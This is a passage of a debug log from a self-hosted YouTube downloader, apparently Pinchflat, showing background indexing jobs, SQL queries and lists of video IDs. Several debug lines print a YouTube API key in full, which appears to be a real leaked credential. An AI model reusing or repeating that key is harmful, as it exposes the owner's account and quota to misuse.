YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:38.028 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:38.108 [debug] QUERY OK source="media_items" db=0.7ms idle=79.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:27:38.110 [debug] QUERY OK source="media_items" db=0.9ms idle=81.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:27:38.110 [debug] QUERY OK source="tasks" db=0.1ms idle=82.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799987, 34, ~U[2026-02-10 22:27:38Z], ~U[2026-02-10 22:27:38Z]] 16:27:38.111 [info] {"args":{"id":34},"id":3799949,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":84060,"event":"job:stop","queue_time":397582,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:38.247 [debug] QUERY OK source="media_items" db=0.8ms idle=136.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 16:27:38.251 [debug] QUERY OK source="media_items" db=2.6ms idle=137.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:27:38.251 [debug] QUERY OK source="tasks" db=0.1ms idle=134.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799988, 10, ~U[2026-02-10 22:27:38Z], ~U[2026-02-10 22:27:38Z]] 16:27:38.252 [info] {"args":{"id":10},"id":3799948,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":225165,"event":"job:stop","queue_time":454140,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:39.027 [info] {"args":{"id":9},"id":3799950,"meta":{},"system_time":1770762459027741180,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:39.027 [info] {"args":{"id":8},"id":3799951,"meta":{},"system_time":1770762459027787286,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:39.028 [debug] QUERY OK source="sources" db=0.1ms idle=775.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:27:39.028 [debug] QUERY OK source="sources" db=0.2ms idle=775.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:27:39.028 [debug] QUERY OK source="settings" db=0.1ms idle=769.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:39.028 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:39.028 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:39.028 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:39.028 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:39.028 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:27:39.028 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:39.029 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:27:39.029 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:39.029 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:39.029 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:39.029 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:39.190 [debug] QUERY OK source="media_items" db=0.7ms idle=161.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 16:27:39.192 [debug] QUERY OK source="media_items" db=0.5ms idle=162.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:27:39.192 [debug] QUERY OK source="tasks" db=0.1ms idle=163.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799989, 9, ~U[2026-02-10 22:27:39Z], ~U[2026-02-10 22:27:39Z]] 16:27:39.193 [info] {"args":{"id":9},"id":3799950,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":165232,"event":"job:stop","queue_time":520807,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:39.285 [debug] QUERY OK source="media_items" db=0.6ms idle=92.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:27:39.286 [debug] QUERY OK source="media_items" db=0.3ms idle=93.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:27:39.287 [debug] QUERY OK source="tasks" db=0.1ms idle=87.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799990, 8, ~U[2026-02-10 22:27:39Z], ~U[2026-02-10 22:27:39Z]] 16:27:39.287 [info] {"args":{"id":8},"id":3799951,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":259612,"event":"job:stop","queue_time":482997,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:44.032 [info] {"args":{"id":40},"id":3799952,"meta":{},"system_time":1770762464032822098,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:44.033 [debug] QUERY OK source="sources" db=0.1ms idle=1154.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 16:27:44.033 [debug] QUERY OK source="settings" db=0.2ms idle=1154.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:44.033 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1007.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:44.034 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:44.034 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 16:27:44.034 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:44.034 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:44.147 [debug] QUERY OK source="media_items" db=0.6ms idle=114.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 16:27:44.150 [debug] QUERY OK source="media_items" db=1.8ms idle=114.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" 